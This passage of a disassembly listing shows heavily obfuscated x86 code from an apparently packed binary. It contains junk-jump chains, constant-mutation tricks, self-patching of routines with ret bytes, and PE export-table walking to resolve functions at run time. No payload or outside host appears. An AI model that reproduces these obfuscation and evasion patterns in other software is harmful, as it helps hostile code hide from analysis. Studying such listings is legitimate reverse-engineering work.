; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B39

loc_439AEE:				; CODE XREF: sub_438B39+4740j
		not	eax
		push	9D9B1270h
		rol	eax, 0Ah
; END OF FUNCTION CHUNK	FOR sub_438B39
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_439AF8:				; CODE XREF: sub_438B39:loc_4395EFj
					; sub_448EB6:loc_43E3DDj ...
		jmp	loc_4415C9
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------
		jmp	loc_44C6D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_439B02:				; CODE XREF: sub_4432B8:loc_444C65j
					; sub_43B252+FF7Bj
		jz	loc_44278F
		xchg	esi, ebx
		jmp	loc_44278E
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------

locret_439B0F:				; CODE XREF: y22d6.y.:loc_447E22j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_439B10:				; CODE XREF: sub_43D20E+F9ABj
		jmp	loc_43F80A
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_439B15:				; CODE XREF: sub_444F37-945j
		jmp	loc_43C381
; END OF FUNCTION CHUNK	FOR sub_444F37

; =============== S U B	R O U T	I N E =======================================



sub_439B1A	proc near		; CODE XREF: sub_44D6D0-1060Fp
					; y22d6.y.:0044CF94j

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		add	ecx, 0D63321ADh
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_4480DE
sub_439B1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439B2C	proc near		; CODE XREF: y22d6.y.:00440443j
					; sub_4480FC+6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BD24 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043D0D0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00442080 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	eax, [esp-4+arg_0]
		mov	esi, eax
		pop	eax
		jmp	loc_442080
sub_439B2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439B3B:				; CODE XREF: y22d6.y.:0043BC83j
		test	ebp, 4FF57E26h
		jmp	loc_44BBCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439B46:				; CODE XREF: sub_448EB6-966Cj
		adc	edi, eax
; END OF FUNCTION CHUNK	FOR sub_448EB6
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_439B48:				; CODE XREF: sub_44B674:loc_441BC7j
					; sub_448EB6:loc_442D7Dj ...
		jmp	sub_43F0F0
; ---------------------------------------------------------------------------

loc_439B4D:				; CODE XREF: sub_448EB6-7D8Ej
					; sub_44B674-67A1j
		xchg	edi, [esp+8+var_8]
		mov	ecx, edi
		pop	edi
		pop	ebp
		jmp	loc_4385B1
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444427

loc_439B59:				; CODE XREF: sub_444427-5351j
		mov	[esi], eax
		call	sub_44B47A
; END OF FUNCTION CHUNK	FOR sub_444427
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_439B60:				; CODE XREF: sub_445A15-AC58j
		jmp	loc_43CEBF
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_439B65:				; CODE XREF: sub_44DB81-C7F2j
		mov	byte ptr [eax],	0C3h
		jmp	loc_449371
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_439B6D:				; CODE XREF: sub_449641-B2F8j
		mov	eax, [esp+0]
		push	edx
		push	esi
		mov	esi, eax
		jmp	loc_448460
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4418C5

loc_439B79:				; CODE XREF: sub_4418C5:loc_43E9ECj
		xor	eax, 7884F0A2h
		and	eax, 322E571Bh
		xor	eax, 7F601189h
		add	eax, 0A0F7C327h
		jmp	loc_4471B9
; END OF FUNCTION CHUNK	FOR sub_4418C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_439B96:				; CODE XREF: sub_4432B8:loc_44626Cj
		jz	loc_43E2F2
		jmp	loc_449115
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_439BA1:				; CODE XREF: sub_43704E+8A97j
		sub	ebx, 9687756Ch
		jmp	loc_44B826
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_439BAC:				; CODE XREF: sub_448C77-109B3j
					; sub_448C77:loc_43DFCCj
		push	esi

loc_439BAD:				; CODE XREF: y22d6.y.:00441CD5j
		push	0E93EE60Bh
		pop	esi
		or	esi, 972F4AD6h
		xor	esi, 5D6B9C6Ah
		cmp	esi, 0F0354DE2h

loc_439BC5:				; CODE XREF: y22d6.y.:004412FEj
		jmp	loc_4459D2
; END OF FUNCTION CHUNK	FOR sub_448C77

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439BCA	proc near		; CODE XREF: y22d6.y.:00439339p

; FUNCTION CHUNK AT 00441739 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_441739
sub_439BCA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442245

loc_439BD5:				; CODE XREF: sub_442245:loc_43FF7Cj
		xchg	edi, [esp+0]
		jmp	loc_437291
; END OF FUNCTION CHUNK	FOR sub_442245
; ---------------------------------------------------------------------------
		call	sub_448B15

loc_439BE2:				; CODE XREF: y22d6.y.:00444C19j
		jmp	loc_4405D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439BE7:				; CODE XREF: sub_448EB6-D037j
		or	edx, 24F1537Fh

loc_439BED:				; CODE XREF: sub_448EB6:loc_448D1Bj
		adc	eax, 4A8E5432h
		jmp	loc_43F005
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_439BF8:				; CODE XREF: sub_43704E:loc_44455Cj
		jl	loc_44DF44
; END OF FUNCTION CHUNK	FOR sub_43704E
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_439BFE:				; CODE XREF: sub_442C0C-9B7Bj
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_44DF3D
; ---------------------------------------------------------------------------

loc_439C09:				; CODE XREF: y22d6.y.:0043F767j
		jl	loc_44B535
		test	eax, 25D06F10h
		jmp	loc_43F5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_439C1A:				; CODE XREF: sub_43D20E:loc_445DACj
		call	sub_44734D

loc_439C1F:				; CODE XREF: y22d6.y.:00439970j
		jmp	loc_449972
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439C24:				; CODE XREF: sub_448EB6+564Cj
		sbb	eax, 0ADA8C5C9h
		jmp	loc_43A02B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_439C2F:				; CODE XREF: y22d6.y.:loc_44CD66j
		call	sub_43F7FF
		call	sub_441619

loc_439C39:				; CODE XREF: y22d6.y.:0043F9A7j
		jmp	nullsub_18

; =============== S U B	R O U T	I N E =======================================



sub_439C3E	proc near		; CODE XREF: y22d6.y.:0043A63Bp
					; y22d6.y.:0043BF7Cj

; FUNCTION CHUNK AT 0043E0BF SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:off_41E104, eax
		lea	eax, sub_44633F
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E0BF
sub_439C3E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439C56:				; CODE XREF: y22d6.y.:00440417j
		call	nullsub_281
		jmp	ds:dword_41E108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C22F

loc_439C61:				; CODE XREF: sub_43C22F+7B74j
		jmp	sub_44B674
; END OF FUNCTION CHUNK	FOR sub_43C22F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_281. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_43B75B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C1E2

loc_439C6D:				; CODE XREF: sub_44C1E2+6j
		jmp	loc_441D8E
; END OF FUNCTION CHUNK	FOR sub_44C1E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D7AB

loc_439C72:				; CODE XREF: sub_43D7AB+Fj
		jmp	nullsub_327
; END OF FUNCTION CHUNK	FOR sub_43D7AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_439C77:				; CODE XREF: sub_4452EE-9ACBj
		jle	loc_43B2B9
		cmp	ebx, 54F622E2h
		jmp	loc_439A05
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D22A

loc_439C88:				; CODE XREF: sub_44D22A+Fj
		jz	loc_44024C
		jmp	loc_437731
; END OF FUNCTION CHUNK	FOR sub_44D22A
; ---------------------------------------------------------------------------

loc_439C93:				; CODE XREF: y22d6.y.:00444E5Ej
		shl	ecx, 0Bh

; =============== S U B	R O U T	I N E =======================================



sub_439C96	proc near		; CODE XREF: sub_43C7C1-40ACp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004385C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043956A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043F938 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440308 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00440602 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044737C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004495B4 SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		or	eax, eax
		jnz	loc_440310
		jmp	loc_4385C6
sub_439C96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D59A

loc_439CA7:				; CODE XREF: sub_43D59A+10C1Ej
		xchg	ebx, [esp+0]
		jmp	loc_43FD27
; END OF FUNCTION CHUNK	FOR sub_43D59A
; ---------------------------------------------------------------------------

loc_439CAF:				; CODE XREF: y22d6.y.:00444C3Aj
		jnp	loc_43CAA8

; =============== S U B	R O U T	I N E =======================================



sub_439CB5	proc near		; CODE XREF: sub_449CED-9166p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B57C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004498CC SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 308D4DEh
		jmp	loc_43B57C
sub_439CB5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_439CC4:				; CODE XREF: y22d6.y.:loc_440FA8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4448C7

loc_439CC5:				; CODE XREF: sub_4448C7+Fj
		jmp	loc_43FBD3
; END OF FUNCTION CHUNK	FOR sub_4448C7
; ---------------------------------------------------------------------------

loc_439CCA:				; DATA XREF: sub_44AFA1+1Eo
		add	esi, 72E24A4h
		xchg	esi, [esp]
		jmp	loc_443253
; ---------------------------------------------------------------------------

loc_439CD8:				; DATA XREF: sub_43AC88+6o
		push	edi
		mov	edi, ebp
		push	offset sub_44DA4B
		jmp	loc_44CA75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447268

loc_439CE5:				; CODE XREF: sub_447268-4EFAj
		call	sub_439945
; END OF FUNCTION CHUNK	FOR sub_447268
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439CEA:				; CODE XREF: sub_448EB6-D327j
					; y22d6.y.:0044CF8Cj
		cmp	esi, 0C25574EBh
		jmp	loc_4387C8
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_439CF5:				; CODE XREF: sub_44C59C-13C26j
		add	eax, 0A6751D31h
		xor	eax, 93B5A0FAh
		or	eax, 612E477Ah
		add	eax, 389BB822h
		jmp	loc_43E32E
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_439D12:				; CODE XREF: sub_44AEDA-6DE5j
		jz	loc_44BF3B
		jmp	loc_44D574
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBBA

loc_439D1D:				; CODE XREF: sub_44BBBA-14474j
		xor	ebp, 973A5D9Eh

loc_439D23:				; CODE XREF: sub_43C55B:loc_448538j
		mov	[ebp-18h], eax
		mov	dword ptr [ebp-0Ch], 1

loc_439D2D:				; CODE XREF: sub_4431CD+Aj
					; sub_44633F+5E91j
		push	offset loc_44CD3B
		jmp	loc_43F7F5
; END OF FUNCTION CHUNK	FOR sub_44BBBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439D37:				; CODE XREF: y22d6.y.:loc_43A78Fj
					; sub_448EB6:loc_448FF4j
		rol	eax, 3
		xor	eax, 49015C54h
		add	eax, 31DBAF6Fh
		popf
		xchg	eax, [esp-8+arg_4]
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_439D4F:				; CODE XREF: sub_43D20E:loc_441958j
		push	789418DDh
		pop	esi
		xor	esi, 6D7B5ECCh
		rol	esi, 3
		add	esi, 50CAB09Ch
		xchg	esi, [esp+0]
		jmp	sub_43BE66
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B635

loc_439D6C:				; CODE XREF: sub_44B635:loc_4473C6j
		adc	ebx, 0F8EAAD74h
		adc	eax, ebx
		xor	edi, eax
		jmp	loc_43B1BF
; END OF FUNCTION CHUNK	FOR sub_44B635
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C9E

loc_439D7C:				; CODE XREF: sub_447C9E-5D5Fj
		jmp	nullsub_325
; END OF FUNCTION CHUNK	FOR sub_447C9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ECDD

loc_439D81:				; CODE XREF: sub_43ECDD+1Cj
		jmp	loc_44E4A8
; END OF FUNCTION CHUNK	FOR sub_43ECDD
; ---------------------------------------------------------------------------

loc_439D86:				; CODE XREF: y22d6.y.:00447DC1j
		add	ebp, esi
; START	OF FUNCTION CHUNK FOR sub_449641

loc_439D88:				; CODE XREF: sub_449641:loc_447D9Cj
		rol	edx, 1Fh
		push	offset sub_43E36B
		jmp	loc_4413F1
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------

loc_439D95:				; CODE XREF: y22d6.y.:00445E11j
		mov	[esi], ecx
		adc	esi, ecx
		mov	[ecx], ebp
		ror	edi, 3

loc_439D9E:				; CODE XREF: y22d6.y.:00445E08j
		add	ecx, 6D940691h
		jmp	loc_43E177
; ---------------------------------------------------------------------------

loc_439DA9:				; CODE XREF: y22d6.y.:00437E8Cj
		jns	loc_444C98
		test	ebp, 0B83D28E2h
		jmp	loc_449A70
; ---------------------------------------------------------------------------

loc_439DBA:				; CODE XREF: y22d6.y.:0043BE2Fj
		and	edx, ebx
		jnp	loc_44B2A4
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_439DC2:				; CODE XREF: sub_43A148:loc_43BE19j
		add	ecx, 0F63C23Fh
		add	ecx, ebp
		call	sub_44D64C
; END OF FUNCTION CHUNK	FOR sub_43A148
; START	OF FUNCTION CHUNK FOR sub_43872E

loc_439DCF:				; CODE XREF: sub_43872E:loc_443A57j
		push	offset loc_43EAEC
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_43872E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_439DD9:				; CODE XREF: sub_43E185+7561j
		jg	loc_440A32
		add	esi, 6BDEDC9Ah
		sub	ebx, 7396FCECh
		jmp	loc_449189
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
		push	0FB713821h
		jmp	loc_43E624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_439DFA:				; CODE XREF: sub_43FAC6:loc_43A330j
		add	edx, 0E48E84CEh
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_448917
		jmp	loc_43FF56
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_439E11:				; CODE XREF: sub_43B09B+2A7j
		xchg	ebp, [ebx]
		jmp	loc_449195
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_439E18:				; CODE XREF: y22d6.y.:loc_448DB8j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_449195
		jmp	loc_43A6C0
; ---------------------------------------------------------------------------

loc_439E2C:				; DATA XREF: sub_43C3DD:loc_43BA94o
		rol	eax, 0Ah
		push	eax
		push	ebp
		mov	ebp, ebx
		xchg	ebp, [esp]
		push	32EF0FDBh
		xchg	ebp, [esp]
		jmp	loc_43F15D
; ---------------------------------------------------------------------------

loc_439E43:				; DATA XREF: y22d6.y.:0044B6CEo
		push	edx
		call	sub_440AF5
		call	sub_44921D

loc_439E4E:				; CODE XREF: y22d6.y.:0043E5D8j
		jb	loc_4474A3

; =============== S U B	R O U T	I N E =======================================



sub_439E54	proc near		; CODE XREF: sub_43DCC0p
		xchg	edi, [esp+0]
		pop	edi
		call	sub_439E63
		jmp	ds:off_41E024
sub_439E54	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439E63	proc near		; CODE XREF: sub_439E54+4p
					; sub_441DA7:loc_43A5A5j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004384AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439FA2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043A05F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043B4F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F31B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004426EA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00443DD9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004448B9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044716A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447E8C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044BC50 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044CC57 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044D407 SIZE 00000005 BYTES

		pop	edx
		jns	loc_44BC5E
		mov	eax, [esp-4+arg_0]
		jmp	loc_4384AF
sub_439E63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D9D2

loc_439E72:				; CODE XREF: sub_43D9D2:loc_444613j
		add	eax, edx
		call	sub_44B3F8
; END OF FUNCTION CHUNK	FOR sub_43D9D2
; START	OF FUNCTION CHUNK FOR sub_43D9C7

loc_439E79:				; CODE XREF: sub_43D9C7-95Aj
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_43D9C7
; ---------------------------------------------------------------------------
		xor	edx, 0D79B95DEh
		jmp	sub_447663
; ---------------------------------------------------------------------------
		add	ecx, 21E38ECFh
		jmp	loc_43C1F4
; ---------------------------------------------------------------------------

loc_439E94:				; CODE XREF: y22d6.y.:0044BE5Bj
		mov	[esi], ecx
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_439E96:				; CODE XREF: sub_4477E6:loc_44C773j
		xor	ebx, 96B54FEAh
		add	ebx, 107E8540h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43EB3E
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0F0, eax
		lea	eax, nullsub_118
		mov	byte ptr [eax],	0C3h
		jmp	loc_44C783
; ---------------------------------------------------------------------------

loc_439EBE:				; CODE XREF: y22d6.y.:004460FFj
		mov	eax, [esp]
		push	edx
		push	edx
		push	33F8FFD1h
		pop	edx
		jmp	loc_43EBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411BD

loc_439ECE:				; CODE XREF: sub_4411BD:loc_444654j
		xor	ecx, 0D8144924h
		add	ecx, 0EBD055E8h
		xchg	ecx, [esp+0]
		jmp	loc_439423
; END OF FUNCTION CHUNK	FOR sub_4411BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_439EE2:				; CODE XREF: sub_44AA69+1F5Aj
		jnp	loc_439479
		sbb	ecx, 70FD61EAh

loc_439EEE:				; CODE XREF: sub_44AA69:loc_44A8D0j
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_445F4C
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_439EF9:				; CODE XREF: sub_44A359:loc_44AA8Dj
		mov	eax, ds:dword_43E380
		push	offset loc_440B28
		jmp	loc_44D1B8
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
		mov	ds:dword_41E124, eax
		lea	eax, nullsub_343
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_343

; =============== S U B	R O U T	I N E =======================================



sub_439F1D	proc near		; CODE XREF: sub_414C6F:loc_414D4Dp
					; sub_439F1D+5j
					; DATA XREF: ...
		call	sub_439F2D
		jmp	ds:off_41E128
sub_439F1D	endp

; ---------------------------------------------------------------------------

loc_439F28:				; CODE XREF: y22d6.y.:0044CA44j
		jmp	sub_43CA1A

; =============== S U B	R O U T	I N E =======================================



sub_439F2D	proc near		; CODE XREF: sub_439F1Dp
					; sub_44051D+14F4j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437000 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00438AA1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043BE61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F202 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446353 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044C649 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CB7C SIZE 00000009 BYTES

		jnz	loc_44CB7C
		pop	edx
		mov	eax, [esp+4+var_4]
		jmp	loc_43F202
sub_439F2D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439F3C:				; CODE XREF: y22d6.y.:0044A982j
		jz	loc_44C7E4
		jmp	loc_440E43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_439F47:				; CODE XREF: sub_43BEF7+2DCDj
		call	sub_43AB31
		cmp	eax, [ebp-0Ch]
		jnz	loc_44506C
		jmp	loc_441935
; END OF FUNCTION CHUNK	FOR sub_43BEF7

; =============== S U B	R O U T	I N E =======================================



sub_439F5A	proc near		; DATA XREF: sub_4432B8+102Do

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043769F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00437C94 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004380C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A80C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AA9E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043ADC8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044068B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00440FA3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004438C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00444CC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445898 SIZE 00000014 BYTES

		add	eax, 57678B35h
		add	eax, ebp
		add	eax, 7C1FA24Ah
		mov	eax, [eax]
		add	eax, eax
		cdq
		add	eax, [esp-4+arg_0]

loc_439F70:				; CODE XREF: y22d6.y.:0044C39Ej
		jmp	loc_437C94
sub_439F5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_439F75:				; CODE XREF: sub_448EB6:loc_43E96Fj
		call	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_448EB6
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_439F7A:				; CODE XREF: sub_43F501+1D14j
		mov	eax, ds:dword_442AB8
		call	sub_4441E8

loc_439F84:				; CODE XREF: sub_43EC1C+AAEAj
		jmp	loc_44A98E
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44123E

loc_439F89:				; CODE XREF: sub_44123E+Ej
		jmp	loc_4429B9
; END OF FUNCTION CHUNK	FOR sub_44123E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_439F8E:				; CODE XREF: sub_43FBC3:loc_43D374j
		pop	edx
		mov	eax, ds:dword_44139C
		or	eax, eax
		jnz	loc_4396A3
		jmp	loc_43B4DC
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_439FA2:				; CODE XREF: sub_439E63+205j
		mov	eax, 0CB10B158h
		call	sub_43F7FF
		push	esi
		push	0BFA05DF1h
		jmp	loc_44716A
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43946E

loc_439FB7:				; CODE XREF: sub_43946E+BC84j
		jns	loc_44AC79
		mov	eax, [esp+8+var_8]
		push	edx
		call	sub_44AB7B
; END OF FUNCTION CHUNK	FOR sub_43946E
; START	OF FUNCTION CHUNK FOR sub_444541

loc_439FC6:				; CODE XREF: sub_444541-A3DEj
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_444541

; =============== S U B	R O U T	I N E =======================================



sub_439FCB	proc near		; CODE XREF: y22d6.y.:loc_442CC9p

; FUNCTION CHUNK AT 00438F8B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043ADAB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CFB3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043F015 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00443FB6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444C1E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044B1B6 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	ecx, ebp
		push	ebx
		push	0B4071377h
		pop	ebx
		rol	ebx, 13h
		cmp	ebx, 9A37C388h
		jmp	loc_44B1B6
sub_439FCB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_439FE6:				; CODE XREF: y22d6.y.:loc_44A387j
		jl	loc_440F01
		sbb	esi, 8B09B3B0h
		cdq
		mov	edx, esi
		and	ebp, edi
		jmp	loc_43A83D
; ---------------------------------------------------------------------------

loc_439FFC:				; DATA XREF: sub_44A8FD:loc_43A5DBo
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_438FCA
		mov	ecx, [ebx+ecx+0Ch]
		jmp	loc_44859C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1BD

loc_43A014:				; CODE XREF: y22d6.y.:00441B16j
					; sub_44E1BD+Dj
		xchg	eax, [esp+0]
		call	sub_44E5C7
		push	0B4EA389Bh
		push	offset loc_43799D
		jmp	nullsub_269
; END OF FUNCTION CHUNK	FOR sub_44E1BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43A02B:				; CODE XREF: sub_448EB6-F28Cj
		mov	[eax], ebp
		push	ebp
		jmp	loc_438D00
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43A033:				; CODE XREF: y22d6.y.:00447931j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_444B04

